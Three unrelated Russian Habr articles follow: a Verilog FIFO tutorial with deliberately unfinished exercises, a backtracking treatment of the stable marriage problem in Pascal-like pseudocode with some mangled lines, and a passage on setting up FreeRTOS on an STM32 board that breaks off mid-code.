Ниже мы рассмотрим примеры базового FIFO, RTL код для которого вместе с моделью и тестовым окружением [я выложил на GitHub](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/quizes/problems_020_022/p020_generic_flip_flop_fifo.v). Обратите внимание, что я намеренно выложил код незаконченным - участники школы в порядке упражнения должны сами заполнить места, которые обозначены TODO.
### Зачем нужно FIFO?
**FIFO позволяет расцепить отправлятеля и получателя данных по времени**. Например представим, что у нас есть два процессора, которые работают совершенно параллельно и даже могут иметь разные адресные пространства. Представим, что им нужно передать данные так, чтобы данные не размножились и не потерялись, а также чтобы один процессор не ждал другого а просто занимался своей активностью и читал или писал когда ему удобно.
Для этого можно сделать, чтобы при записи в ячейку с определенным адресом одним процессором происходила запись в FIFO, а при чтении с определеного адреса другим процессором происходило чтение из FIFO:
А что будет, спросите вы, если CPU2 будет пробовать читать из пустого FIFO, или CPU1 будет пробовать писать в заполненное FIFO? Вот тогда процессор CPU1 будет останавливаться на инструкции store и ждать, а процессор CPU2 будет останавливаться на инструкции LOAD и ждать. Такая опция называется gated storage, она реализована в некоторых встроенных процессорах, например MIPS interAptiv.
**Другое применение**: выравнивание результатов параллельных блоков по времени. Допустим вы хотите получить от двух блоков два потока чисел и сложить их попарно. При этом блоки посылают числа в разное время, а блок, получающий результаты, может не готов принять сумму. Нет проблем, строим вот такую конструкцию, которая складывает числа попарно, даже если они шлются в разное время. Код для этой конструкции [тоже на гитхабе](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/quizes/problems_020_022/p022_three_fifos_around_adder.v) и тоже намеренно незаконченный:
**Еще применение**. Если вы носите некие данные вместе (например координаты точек и их цвета) и хотите отправить поток этих данных на обработку, но обрабатывать собираетесь только часть данных (например пересчитывать координаты, но не трогать цвета), то вы можете отправить необрабатываемые данные в находящееся сбоку FIFO, где они будут лежать и ждать соотвествующие им обрабатываемые данные:
FIFO также широко используют, чтобы принять результаты вычисление после конвейера, в комбинации с кредитными счетчиками. Эта схема мало описана в учебниках, но применяется сплошь и рядом в промышленности, описана в статьях и патентах. Альтернатива такой схеме - это вводить сложные остановки конвейера, что чревато багами и проблемами с таймингом. Комбинация "конвейер + FIFO + кредитный счетчик" гораздо лучше, о ней расскажет Дмитрий Смехов на [Школе Синтеза](http://www.chipexpo.ru/shkola-sinteza-cifrovyh-shem-na-verilog):
**Пример 1**
Перейдем к примерам. [p020\_generic\_flip\_flop\_fifo.v](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/quizes/problems_020_022/p020_generic_flip_flop_fifo.v) содержит намеренно незаконченную реализацию простого FIFO на D-триггерах, с регистровым файлом data, парой из указателей wr\_ptr/rd\_ptr и использованием счетчика для генерации флагов empty и full.
```
always @ (posedge clk)
if (rst)
wr_ptr <= '0;
else if (push)
wr_ptr <= wr_ptr == max_ptr ? '0 : wr_ptr + 1'b1;
// TODO: Add logic for rd_ptr
always @ (posedge clk)
if (push)
data [wr_ptr] <= write_data;
assign read_data = data [rd_ptr];
always @ (posedge clk)
if (rst)
cnt <= '0;
else if (push & ~ pop)
cnt <= cnt + 1'b1;
else if (pop & ~ push)
cnt <= cnt - 1'b1;
assign empty = ~| cnt;
// TODO: Add logic for full output
```
Результат работы синтезируемого модуля generic\_flip\_flop\_fifo\_rtl сравнивается с результатом несинтезируемой модели fifo\_model , которая написана с использованием очереди (SystemVerilog queue).
```
logic [width - 1:0] queue [$];
```
Тонкий момент: так как в RTL-реализации имеется комбинационная логика после D-триггеров на выходе (это вполне допустимо), то при моделировании в тестовом окружении приходится идти на специальные ухищрения:
```
@ (posedge clk);
# 1 // This delay is necessary because of combinational logic after ff
```
**Вопрос на понимание 1**: Каковы преимущества и каковы недостатки оставлять такой хвост из комбинационной логики после D-триггеров в данном примере
```
assign read_data = data [rd_ptr];
assign empty = ~| cnt;
```
**Вопрос на понимание 2**: Перепишите пример, чтобы все выходы стали registered, то бишь шли от D-триггеров.
Для запуска примера можно использовать Icarus Verilog и GTKWaves. Как их установить, я описал в посте ["Ни дня без строчки верилога — учим язык решением большого количества простых задач"](https://habr.com/ru/post/587046/). Если вы поправите пример правильно, то вы увидите вот такие временные диаграммы:
и вот такой лог:
```
empty [ ]
push 63 [ 63 ]
push 12 [ 12 63 ]
[ 12 63 ]
...
push 4b pop fa full [ 4b 9b 8f 0b 84 ]
full [ 4b 9b 8f 0b 84 ]
pop 84 [ 4b 9b 8f 0b ]
```
**Вопрос на понимание 3:** Позволяет ли данная реализация писать в полное FIFO?
**Пример 2**
Упражнение [p021\_gen\_dff\_fifo\_pow2\_depth.v](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/quizes/problems_020_022/p021_gen_dff_fifo_pow2_depth.v) делает то же самое, что и предыдущее упражнение, но отличает состояние empty от full без использования счетчика. Это возможно за счет введения ограничения - FIFO второго примера может иметь только глубину степени двойки (1, 2, 4, 8, ... ). Это достигается с помощью введения дополнительного бита в указатели:
```
reg [extended_pointer_width - 1:0] ext_wr_ptr, ext_rd_ptr;
wire [pointer_width - 1:0] wr_ptr = ext_wr_ptr [pointer_width - 1:0];
wire [pointer_width - 1:0] rd_ptr = ext_rd_ptr [pointer_width - 1:0];
```
Замечу что FIFO первого примера может иметь глубину 3, 113 и вообще любую - в ASIC-х любят экономить D-триггеры. Точное вычисление размера требуемого FIFO (позволяет максимальную пропускную способность по требованиям, но ни элементом больше) - признак профессионализма. Впрочем даже для самых суровых профессионалов электронные компании часто оставляют небольшой запас, даже при защите с помощью кредитных счетчиков, так как стоимость ошибки в уже произведенном ASIC-е может быть астрономической.
**Пример 3**
Упражнение [p022\_three\_fifos\_around\_adder.v](https://github.com/DigitalDesignSchool/ce2020labs/blob/master/quizes/problems_020_022/p022_three_fifos_around_adder.v) - это та самая конструкция из трех FIFO и сумматора, которую мы уже обсудили выше.
В ней не хватает следующего кода, который нужно дописать для понимания:
```
// TODO: Complete all the assignments
// to finish the design of three_fifos_around_adder
/*
assign can_push_a = ...
assign can_push_b = ...
assign can_pop_sum = ...
assign pop_a = ...
assign pop_b = ...
assign push_sum = ...
assign write_data_sum = ...
*/
```
Если вы сделаете все правильно, то пример выдаст следующий лог:
```
3
4 a 0001 b 0100 <-- Сначала пары идут вместе и подряд (back-to-back)
5 a 0002 b 0200
6 a 0003 b 0300 sum 0101 <-- Первая пара сложена
7 a 0004 b 0400 sum 0202
8 a 0005 b 0500 sum 0303
9 a 0006 b 0600 sum 0404
10 a 0007 b 0700 sum 0505
11 a 0008 b 0800 sum 0606
12 a 0009 b 0900 sum 0707
13 a 000a b 0a00 sum 0808
14 a 000b sum 0909
15 a 000c sum 0a0a
16 a 000d
17 a 000e
18 a 000f
19 <-- Потом получатель перестает принимать результаты
Это называется backpressure
. . . .
27
28 b 0b00 <-- Потом заталкивание и получение происходит случайно
29
30 a 0010 b 0c00 sum 0b0b
31
32 a 0011
33 b 0d00
34 b 0e00
35 a 0012 b 0f00
36 a 0013
37 a 0014 b 1000
38 b 1100 sum 0c0c
```
На временных диаграммах вы тоже можете увидеть, что в тестовой последовательности, cначала пары идут вместе и подряд (back-to-back). Потом получатель перестает принимать результаты (это называется backpressure). Еще до этого иссякает источник чисел B:
Через некоторое время прием восстанавливается и потом заталкивание и получение происходит случайно:
**Вопрос на понимание 4**: Будет ли схема работать, если удалить выходное FIFO? А одно из входных?
**Вопрос на понимание 5**: Зачем может понадобиться на выходе FIFO глубины 2 (подсказка: skid buffer).
На этом мы введение (первые 5% материала) в FIFO заканчиваем и ждем вас на Сколковской Школе Синтеза Цифровых Схем. Школу поддерживает Ядро Микропроцессор / Syntacore - они готовят прорыв в российских RISC-V суперскалярных микропроцессорах, и Cadence Design Systems - их софтвером, согласно Джону Кули, [пользуются в Apple для проектирования айфонов](https://www.deepchip.com/items/0547-07.html). Плату Omdazz, которую держит в руках девушка Наташа, вам подарят бесплатно, если вы будете делать упражнения:
 | https://habr.com/ru/post/646685/ | null | ru | null |
# Задача о браках и режим возвратов
Бектрекинг – механизм решения переборных задач. Позволяет выбрать либо 1 приемлемую альтернативу, либо наилучшую.
Суть режима возвратов состоит в следующим. В программе встречаются точки «развилки» — точки в которых необходимо выбрать один из вариантов поведения («альтернатив»). В дальнейшим может оказаться, что выбранный вариант «неудачен» и нужно вернуться к точке развилки и выбрать какую-то другую альтернативу.
Особенность Бектрекинга состоит в том, происходит откат по управлению, а также по данным. При откате программа «забывает» все, что она сделала в результате выбора неудачной альтернативы — данные восстанавливают свои предыдущие значения, отменяются все последствия выбора альтернативы. После отката берем следующую альтернативу и заново выполняем все действия. Проверяем, какие альтернативы для нас приемлемы. Если в данной развилке все альтернативы оказываются неудачными, распространение неуспеха происходит на вышележащие развилки.
Бектрекинг обеспечивает:
— откат по управления;
— откат по данным;
— перебор списка альтернатив.
Существуют действия неподверженные откату. Пример: печать на экран, принтер и т. д.
Развилки можно разделить на локальные (видны только в своей подпрограмме) и глобальные (даже подпрограмма закончена развилка видна).
Поэтому возможно откатное вхождение в процедуру. Процедура полностью восстанавливается, восстанавливаются все локальные переменные, их значения и история их значений.
Варианты организации:
— в качестве альтернатив могут выбираться данные и действия; (массив из процедурных меток)
— список альтернатив: фиксированный, вычисляемый динамически, может не храниться вообще;
— автоматическое изменение порядка набора альтернатив.
Предсказать какая альтернатива принесет успех. (предсказание требует ресурсов.). но перебирая альтернативы в итоге придем к результату.
— возможно отсутствие конструкции “неудача”; (существует конструкция для установления точки развилки или не существует)
— откат возможен: к ближайшей развилке, к указанной статически / динамически, автоматическое определение нужной развилки;
Если перебрали все альтернативы, то неудачу распространяем наверх.
Чтобы не откатываться по шагам, а к той, которую хочешь необходимо:
1. отметить все развилки и откатываться туда
2. откат к развилке определяется динамически.
— автоматическое определение развилки.
Откат в пределах программы
Откат в вызванную подпрограмму
Откат в завершенную подпрограмму.
Если к развилке можно откатиться после завершения процедуры, то развилка наружная.
Необратимое действие – действия, не отменяемые при откате, могут существовать, могут не существовать.
— возможно отключение режима возвратов, динамически / статически, полностью / частично;
— можно связать с сигналом о неуспехе сообщения, и возможность программного анализа.
Существуют языки, которые в своей реализации поддерживают бектрекинг (Пролог, Плэнер). Я в рамках данной статьи рассмотрю эмуляцию режима возвратов на языках, не поддерживающих его в явном виде. В статье для написания листинга я буду использовать паскалеподобный псевдокод, дабы не отвлекаться на синтаксис.
Схема реализация бектрекинга на процедурно-ориентированном языке.
В данном подходе развилки эмулируются при помощи рекурсии, а перебор альтернатив при помощи цикла.
`procedure TryAlt(N:trazvilka; var uspeh:boolean);
begin
{Инициализировать перебор переменных}
uspeh:=false;
repeat {выбрать очередную альтернативу}
if {альтернатива приемлима} then begin {записать альтернативу}
if {решение полное(других развилок нет)} then
uspeh:=true
else begin
try(N+1;uspeh);{перейти к слудующей развилке}
if uspeh then
{ничего решение уже построено}
{стереть альтернативу}
end;
end;
until uspeh or альтернатив больше нет
end.`
#### Задача о стабильных браках
Предположим, что даны два непересекающихся множества А и В равного размера n. Требуется найти набор из n пар - таких, что а из А и b из B удовлетворяют некоторым ограничениям. Критериев распределения может быть много. Мы рассмотрим один из них, который называется правилом стабильных браков.
Пусть A – множество мужчин, а B – множество женщин. Каждый мужчина и каждая женщина указали предпочтительных для себя партнеров. Если пары сформированы так, что существуют мужчина и женщина, которые являются мужем и женой, но которые предпочли бы друг друга своим фактиче6ским супругам, то такое распределение будет нестабильным. Если таких пар нет, то распределение стабильно. Следует заметить, что список распределений остается неизменным и после того, как сделано распределение по парам.
Возможное направление поиска решения – пытаться распределять по парам членов двух множеств одного за другим, пока не будут исчерпаны оба множества. Для решения данной задачи используем схему бектрекинга, слегка модифицировав ее в сторону упрощения.
`Procedure tryMan (m : man);
Var
R : rang;
Begin
If m < n then
For r := 1 to n do begin
Взять r-ю кандидатуру из списка мужчины m
If допустима then begin
Записать супругов;
Try (следующий за m);
Отменить брак;
End;
end;
else
записать стабильное решение
end;`
Исходные данные представим двумя матрицами, указывающими предпочтения мужчин и женщин.
`Var
womanForMan : array [1..n,1..n] of woman
manForWoman : array [1..n,1..n] of man`
Соответственно womanForMan[m,r] – женщина, находящаяся в списке мужчины m на r-м месте. Аналогично manForWoman[w,r] – мужчина, находящийся в списке женщины w на r-м месте.
Результат представим массивом woman так, что woman[m] обозначает супругу мужчины m. Для симметрии введем man так, что man[w] обозначает супругу мужчины w. На самом деле массив man избыточен, так как в нем содержится информация уже содержащиеся в woman. Информация в массивах man и woman нужна для определения стабильности предполагаемого множества браков. Поскольку это множество строится шаг за шагом посредством соединения индивидов в пары и проверки стабильности после каждого предполагаемого брака, массивы man и woman нужны еще до того, как будут определены все компоненты. Чтобы отслеживать, какие компоненты уже определены, мы введем булевские массивы:
singleMan, SingleWoman: array [1..n] of Boolean
истинность компонента означает то, что соответствующий мужчина (женщина) свободны.
с их помощью можно уточнить предикат допустима как конъюнкцию singleWoman[w] & брак стабилен, где предикат брак стабилен еще предстоит доопределить.
Ключевая задача теперь – уточнить алгоритм определения стабильности. Первая особенность, о которой нужно помнить, состоит в том, что по определению, стабильность следует из сравнения рангов (то есть позиций в списке предпочтений). Однако нигде в нашей коллекции данных, определенных до сих пор, нет непосредственно доступных рангов мужчин и женщин. Разумеется их можно вычислить по значениям womanForMan и manForWoman, но так как вычисление стабильности очень частая операция, целесообразно обеспечить более прямой доступ к этой информации. Для этого введем две матрицы,
Rmw: array [man,woman] of rang;
Rwm: array [woman,man] of rang;
При этом rmw[m,w] обозначает ранг женщины w в списке мужчины m, и rwm[w,m] – ранг мужчины m в списке женщины w. Значения этих вспомогательных матриц не меняются и могут быть определены в самом начале по значениям womanForMan и manForWoman.
Теперь предикат Брак стабилен может быть вычислен точно следуя его определению. Напомню, что нам нужно проверить возможность соединить браком m и w, где w=womanForMan[m,r]. Для начала предположим, что такой брак допустим, а потом попытаемся обнаружить помехи для стабильности этого брака. Таких помех может быть две:
1) Может найтись женщина pw с рангом более высоким, чем у w, по мнению m, и которая и сама предпочитает m своему мужу;
2) Может найтись мужчина pm с рангом, более высоким, чем у m, по мнению w, и который сам предпочитает w своей жене
Чтобы обнаружить помеху первого рода, сравним ранги rwm[pw,m] и rwm[pw,man[pw]] для всех женщин, которых m предпочитает w, то есть для всех pw=womanForMan[m,i] таких, что i
Полный текст процедуры проверки стабильности выглядит так
`Function stable(m, w, r : integer) : Boolean;
Var
Pw, pm, I, lim : integer;
S : Boolean;
Begin
I := 0; s := true;
Repeat
Inc(i);
If i
Pw := womanForMan[m,i];
If not(singleWoman[pw]) then
S := rwm[pw,m] >rwmn[pw,man[pw]];
End;
Until (i=r) or (not(s));
I := ;0 lim := rwm[w,m];
Repeat
Inc(i);
If I < lim then begin
Pm := manForWoman[w,i];
If pm
S := rmw[pm,w]>rmw[pm,woman[pm]
End;
Until (i=lim) or (nor(s));
End;`
#### Заключение
Данный алгоритм порождает все возможные варианты решений и его можно доработать таким образом, чтобы находилось либо решение оптимальное для мужчин, либо для женщин, либо среднее. Все зависит от того, для каких целей применяется данный алгоритм. | https://habr.com/ru/post/126438/ | null | ru | null |
# STM32F1xx — Инструменты разработчика и FreeRTOS
Добрый день, уважаемые хабровчане. В своих прошлых статьях ([STM32F1xx — лечимся от ардуинозависимости вместе](http://habrahabr.ru/blogs/controllers/123791/), [STM32F1хх — продолжаем лечение от ардуинозависимости при помощи LCD](http://habrahabr.ru/blogs/controllers/139384/)) я постарался осветить вопросы перехода с 8-битных микроконтроллеров на новые 32-битные STM32F1xx.
В процессе работы с ними, я, разумеется выбирал инструменты себе «по руке» — то есть, старался найти наиболее удобные для меня отладочные платы, программаторы, IDE. В этой статье я хочу поделиться с вами несколькими соображениями на этот счет, а также описать процесс сборки в выбранной IDE операционной системы реального времени FreeRTOS.
#### Железо
Традиционно начнем с железа.
В прошлых статьях ядром системы была плата [STM32VLDISCOVERY](http://www.terraelectronica.ru/catalog_info.php?ID=1001&CODE=573571&Name=STM32VLDISCOVERY&Razdel=%CE%F2%EB%E0%E4%EE%F7%ED%FB%E5%20%E8%20%EE%F6%E5%ED%EE%F7%ED%FB%E5%20%EF%EB%E0%F2%FB%20%E8%20%ED%E0%E1%EE%F0%FB%20%E4%EB%FF%20%F1%E5%EC%E5%E9%F1%F2%E2%E0%20STM32%20(Cortex-M3)&TableName=class_19_2_40_4_6).
Плата, безусловно, хороша, и подкупает тем, что ее цена всего 300 рублей. В принципе, хороший инструмент для того, чтобы начать знакомиться с этим семейством микроконтроллеров. Но.
Дело в том, что при выборе отладочной платы, всегда хочется соблюсти баланс количества и качества, то есть с одной стороны, иметь все необходимое для работы, с другой – не хочется чтобы плата превращалась в огромного и дорогого монстра. У STM32VLDISCOVERY баланс смещен в сторону дешевизны и минимализма.
Полазив по e-bay, я нашел для себя более удобную, на мой взгляд, плату, которую и представляю вашему вниманию. Вот она:
[Mini-STM32](http://www.ebay.com/itm/280580644330?ssPageName=STRK:MEWNX:IT&_trksid=p3984.m1439.l2649)
За 46 долларов нам предлагают:
1. Микроконтроллер STM32F103VE, имеющий на борту 512 килобайт флеша и 64 килобайта RAM, USB, SDIO (то есть с карточки читать будет намного быстрее, чем по SPI). Кроме того, так как на плате установлена 100-ногая его версия, у него хватает внешних пинов для управления памятью через FSMC. FSMC – это Flexible Static Memory Controller, очень удобный контроллер статической памяти, начиная с, собственно, SRAM и заканчивая NAND флешками. Настроив его и подключив память к управляющим пинам, мы получаем нашу память, мапированную на адресное пространство контроллера. То есть, с этого момента, все взаимодействия с ней будут для нас прозрачны и эквивалентны простой записи в RAM.
2. Цветной TFT-дисплей с разрешением 320х240 и предустановленным резистивным тач-скрином. Дисплей ставится на плату в виде модуля, при желании, можно отвинтить стоечки, к которым он крепится, и использовать плату без него. В дисплейный модуль, помимо дисплея входит еще и повышающий преобразователь для питания его подсветки, а также контроллер тач-скрина, который управляется по SPI. Кроме того, разъем подключен к упомянутому выше FSMC, что делает взаимодействие с ним в разы удобнее.
Для примера – вот так выглядит запись в регистры дисплея, а после – в его память, с использованием DMA:
```
#define LCDRegister (*((volatile u16*) 0x60000000))
#define LCDMemory (*((volatile u16*) 0x60020000))
//…
void LCDWriteRegister(unsigned short reg, unsigned short data)
{
LCDRegister=reg;
LCDMemory=data;
}
void LCDBeginRAMWrite()
{
LCDRegister=CTR_WRITE_DATA;
}
int main(void)
{
//…
RCC_AHBPeriphClockCmd(RCC_AHBPeriph_DMA1, ENABLE);
DMA_InitTypeDef DMA_InitStructure;
DMA_DeInit(DMA1_Channel1);
//Адрес буфера-источника графики
DMA_InitStructure.DMA_PeripheralBaseAddr = (u32) PlasmaBuffer1;
//Адрес «точки мапирования» дисплейной памяти
DMA_InitStructure.DMA_MemoryBaseAddr = (u32)(&LCDMemory);
DMA_InitStructure.DMA_DIR = DMA_DIR_PeripheralSRC;
DMA_InitStructure.DMA_BufferSize = PLASMA_WIDTH*PLASMA_HEIGHT;
DMA_InitStructure.DMA_PeripheralInc = DMA_PeripheralInc_Enable;
DMA_InitStructure.DMA_MemoryInc = DMA_MemoryInc_Disable;
DMA_InitStructure.DMA_PeripheralDataSize = DMA_PeripheralDataSize_Byte;
DMA_InitStructure.DMA_MemoryDataSize = DMA_MemoryDataSize_HalfWord;
DMA_InitStructure.DMA_Mode = DMA_Mode_Normal;
DMA_InitStructure.DMA_Priority = DMA_Priority_High;
DMA_InitStructure.DMA_M2M = DMA_M2M_Enable;
DMA_Init(DMA1_Channel1, &DMA_InitStructure);
//…
//Собственно, вывод
LCDBeginRAMWrite();
DMA_SetCurrDataCounter(DMA1_Channel1, PLASMA_WIDTH*PLASMA_HEIGHT);
DMA_Cmd(DMA1_Channel1, ENABLE);
}
```
После выполнения последней строчки, управление возвращается программе, так что можно сразу же начинать просчет следующего кадра, пока первый выводится через DMA.
3. Слот micro-SD, подключенный к управляющим пинам SDIO-контроллера STMки. Ситуация та же, что и с дисплеем – в нашем распоряжении быстрый и удобный способ общаться с карточкой памяти, намного быстрее, чем SPI.
4. USB-разъем и сопутствующая схематика. Как известно, USB-хост определяет наличие устройства на шине по подтягивающему резистору. Соответственно, чтобы иметь возможность сначала совершить какие-либо действия и только потом дать сигнал хосту «я подключен!» нужно подсоединить подтягивающий резистор через транзисторный ключ
На плате это уже сделано за нас, управляющий транзистор подключен к одному из GPIO-пинов, подтягивающие резисторы настроены на Full-Speed USB.
5. Неиспользованные пины выведены на двухрядный сорокапиновый разъем, второй разъем – дисплейный, третий – разъем под программатор, J-Link совместимый.
6. Из приятных бонусов – на плате также присутствует разъем для батарейки, питающей RTC, двухметровая SPI-флешка, один управляемый светодиод, одна кнопка, хороший стабилизатор для питания от USB и max232-конвертер, вместе с разъемом для ком-порта.
Последний, конечно, по моему мнению – самая лишняя часть во всей плате, только занимающая место, но ладно уж, пусть будет.
Кроме того, по отдельной просьбе, за 28 долларов, продавец приложит к плате J-Link-совместимый программатор (а попросту, настоящий клон Segger J-Link, беззастенчиво под него маскирующийся), со шлейфом, полностью совместимым с разъемом на плате.
Подводя итог вышесказанному, я считаю данную плату вещью первой необходимости для человека, который решил начать изучение STM32F1xx микроконтроллеров.
#### Софт
Теперь то, что касается IDE. Изначально я выбрал Keil uVision, так как когда-то уже работал с ней.
Ну, что я могу сказать – я проработал в кейле достаточно, и в принципе с ним можно примириться. Но, положа руку на сердце – ИДЕ там ужасна. Также ужасна как и ИДЕ IAR’a, на мой взгляд.
IAR и Keil – признанные лидеры в разработке компиллеров, этого у них не отнять, но я до сих пор не могу понять, почему, имея такие компиллеры, они продолжают тянуть свои IDE, застрявшие по удобству на уровне 2002 года. Как пример могу привести Texas Instruments – у них раньше тоже была своя IDE, в довесок к компиллеру. Потом им это надоело, они взяли Eclipse, допилили его, прикрутили к своим компиллеру и профайлеру, и получили отличный продукт. Почему так не поступят Keil и IAR для меня остается загадкой, но на мой взгляд их IDE не такие удобные, как могли бы быть. Раздражает не очень удобная подсветка синтаксиса, полное отсутствие code-completion’а, не самая удобная навигация по коду. Плюс, uVision частенько у меня падала, но это можно списать на драйвер программатора.
Как бы то ни было, я стал искать альтернативу и нашел ее в виде [CooCox IDE](http://www.coocox.org/CooCox_CoIDE.htm).
Это бесплатная среда разработки на базе эклипса, которая призвана работать, разумеется, с GCC.
Из плюсов отмечу все достоинства эклипса – удобная навигация, есть автозавершение кода и т.п.
Кроме того прикручен удобный просмотрщик периферии процессора, мне понравился больше чем Кейловский. Очень удобно наличие репозитория компонентов – говоря по-простому, при старте проекта мы как в визарде выбираем нужный нам процессор из списка, после чего отмечаем галочками те из модулей Standard Peripheral Library, которые хотели бы использовать, и они автоматически подключаются к проекту (Об этом чуть подробнее в следующем разделе статьи). Также сразу же можно просмотреть примеры, идущие в комплекте с этим модулем SPL и справку по его функциям.
Минусы CooCox IDE вобрала также из Eclipse, к коим относится тяжеловесность – у меня она потребляет около 180 метров оперативной памяти, занимая на диске 800 мегабайт.
Еще одним минусом является ее работа с этим самым J-Link-ком. Отладка происходит через приложение от создателей J-Link’a, предоставляющее стандартный gdb-шный интерфейс, но почему-то среда при каждом дебаге это приложение перезапускает, в отличие от того же кейла (который вообще работает через свои дллки).
Поэтому старт отладки в Кейле начинается через секунду, в CooCox же – через секунд 20. Возможно, это можно как-нибудь исправить настройками, но я пока таких настроек не видел, поэтому буду благодарен, если кто подскажет.
Тем не менее, я все таки остановился на CooCox — если вас тоже не устраивает IDE от Keil или IAR, или вы не хотите пользоваться ломанным ПО и предпочитаете опенсорс – качайте не задумываясь.
#### CooCox и FreeRTOS
Об операционной системе FreeRTOS было сказано много, в частности, на хабре (вот, например, одна из статей: [FreeRTOS: введение](http://habrahabr.ru/blogs/controllers/129105/))
Я решил тоже приобщиться к этой технологии и расширить свой арсенал инструментов, тем более, что FreeRTOS не навязывает никакого HAL (Hardware Abstraction Layer, слой абстракции от оборудования, драйверы то бишь), и предоставляет только средства работы с задачами, синхронизацию и меж-процессное взаимодействие, поэтому во многих случаях будет очень удобна.
Рассмотрим поподробнее, что же нам необходимо, чтобы использовать FreeRTOS вместе с CooCox IDE на нашей плате Mini-STM32.
На самом деле, все очень просто. Архитектурное портирование (портирование кода, требуемого шедулером под архитектуру Cortex M3) уже давно выполнено, и нам нужно, по сути, просто правильно составить проект для CooCox.
Начинаем с того, что скачиваем исходники FreeRTOS с их официального сайта.
Вот прямая ссылка: <http://sourceforge.net/projects/freertos/files/>.
Тем временем создаем новый проект в CooCox, я назвал его FreeRTOS-Mini.
Выбираем в визарде производителя ST, в списке чипов – чип, на котором построена отладочная плата, STM32F103VE.
После этого перед нами открывается уже упомянутое окошечко репозитория компонентов, представляющих собой части SPL.
Выбираем там CMSIS Core и CMSIS Boot – это собственно ядро CMSIS и стартовый код, который производит настройку и дергает main()
Кстати, обратите внимание – в CooCox стартовый код написан целиком на C, ни одной асмовой строчки. Лежит в файле **cmsis\_boot\startup\startup\_stm32f10x\_hd.c** – запомните этот путь, нам нужно будет там кое-что подправить. Заодно добавляем в проект модуль GPIO, чтобы было что поделать в тестовом таске FreeRTOS. Этот модуль автоматом потянет за собой зависимый RCC, отвечающий за настройку клоков.
Теперь возвращаемся к скаченным исходникам FreeRTOS. Для начала скопируем всю папку в папку с нашим проектом. После, начнем удалять лишнее. Итак, лично у меня под нож сразу пошло содержимое папки Demo – там лежат демо-приложения для разных контроллеров, вся папка вам не нужна в любом случае, но при желании можно оставить то, что относится к STM32F103. Единственное, что нам оттуда обязательно понадобится – файл настроек ядра FreeRTOS, который можно взять из любого подходящего проекта, допустим отсюда: **Demo\CORTEX\_STM32F103\_Primer\_GCC\FreeRTOSConfig.h**
Его можно скопировать в любую папку инклудов, я лично положил в самый корень проекта, рядом с **main.c**
Далее, в папке **source\portable** есть множество под-папок, где лежит код, рассчитанный на разные компиллеры и среды. Заходим в папку **source\portable\GCC\ARM\_CM3**, копируем ее двумя уровнями выше, в **source\portable**. Обращаем внимание на папку **source\portable\MemMang** – она нам тоже понадобится. Поэтому удаляем все, кроме **source\portable\MemMang** и свежескопированной **source\portable\ARM\_CM3**
После этого кликаем правой кнопкой в прожект эксплорере CooCox, нажимаем Add Linked Folder и добавляем нашу папку с подготовленными исходниками FreeRTOS. В итоге должно получиться вот такое дерево проекта:
Теперь начинаем править файлы проекта. Начнем с настроек ядра. Оттуда нам нужно будет убрать только пару строчек, связанных со старым проектом – левый, ненужный нам инклуд.
```
/* Library includes. */
#include "stm32f10x_lib.h"
```
Все остальное можно оставить без изменений, а можно прочитать статью о настройке ядра FreeRTOS и поменять опции по необходимости, этим мы сейчас заниматься не будем.
Теперь идем в стартап код (**cmsis\_boot\startup\startup\_stm32f10x\_hd.c**) и делаем следующее: находим строки:
```
/*----------Function prototypes-----------------------------------------------*/
extern int main(void); /*!< The entry point for the application. */
extern void SystemInit(void); /*!< Setup the microcontroller system(CMSIS) */
void Default_Reset_Handler(void); /*!< Default reset handler */
static void Default_Handler(void); /*!< Default exception handler */
```
У меня это строки 114-122, и добавляем после них такой код:
```
extern void xPortPendSVHandler( void ) __attribute__ (( naked ));
extern void xPortSysTickHandler( void );
extern void vPortSVCHandler( void ) __attribute__ (( naked ));
```
Это обработчики прерываний из ядра ОС, которые объявлены в файле port.c. Теперь нам нужно запихнуть их в вектор прерываний, который идет ниже (строки 129-209):
```
__attribute__ ((section(".isr_vector")))
void (* const g_pfnVectors[])(void) =
{
/*----------Core Exceptions-------------------------------------------------*/
(void *)&pulStack[STACK_SIZE-1], /*!< The initial stack pointer */
Reset_Handler, /*!< Reset Handler */
NMI_Handler, /*!< NMI Handler */
HardFault_Handler, /*!< Hard Fault Handler */
MemManage_Handler, /*!< MPU Fault Handler */
BusFault_Handler, /*!< Bus Fault Handler */
UsageFault_Handler, /*!< Usage Fault Handler */
0,0,0,0, /*!< Reserved */
vPortSVCHandler, /*!< SVCall Handler */
DebugMon_Handler, /*!< Debug Monitor Handler */
0, /*!< Reserved */
xPortPendSVHandler, /*!< PendSV Handler */
xPortSysTickHandler, /*!< SysTick Handler */
```
Соответственно, меняем вектор так, как написано в вышеизложенном коде, заменив строки, отмеченные *SVCall Handler*, *PendSV Handler*, *SysTick Handler* на *vPortSVCHandler*, *xPortPendSVHandler* и *xPortSysTickHandler* соответственно.
**UPD:**
*В комментариях мне подсказали более изящный вариант, чем ковыряние стартового файла. Достаточно просто переопределить обработчики следующими дефайнами:*
```
#define vPortSVCHandler SVC_Handler
#define xPortPendSVHandler PendSV_Handler
#define vPortSVCHandler SVC_Handler
#define xPortSysTickHandler SysTick_Handler
```
После открываем в дереве проекта папку **Source\MemMang**, и выбираем ту реализацию мемори менеджмента, которая нам подходит. Подробнее об этом написано тут: [FreeRTOS Memory Management](http://www.freertos.org/a00111.html).
Если коротко – файл номер 1 это упрощенная реализация с выделением памяти, но без освобождения, файл номер 2 – более продвинутая реализация, позволяющая освобождение памяти, и номер 3 – реализация, которая потребует от вас библиотеки с реализованными malloc и free. Я выбрал вторую реализацию, оставшиеся два файла исключаем из компиляции, кликнув правой кнопкой на имя файла в дереве проекта и выбрав пункт *Exclude from build*.
Осталось совсем чуть-чуть – открываем файл main.c, добавляем туда нужные нам инклуды от SPL:
```
#include "stm32f10x.h"
#include "stm32f10x_gpio.h"
#include "stm32f10x_rcc.h"
```
Инклуды от FreeRTOS:
```
#include "FreeRTOS.h"
#include "task.h"
#include "queue.h"
```
После объявляем функцию, которая будет вызвана до старта шедулера, в соответствии с рекомендациями в таком виде:
```
static void prvSetupHardware( void );
```
И функцию, которая будет исполнять роль нашего тестового таска, вот так:
```
static void prvLedBlink( void *pvParameters );
```
Реализация функций выглядит так:
```
void prvSetupHardware()
{
GPIO_InitTypeDef GPIO_InitStructure;
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE);
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_5;
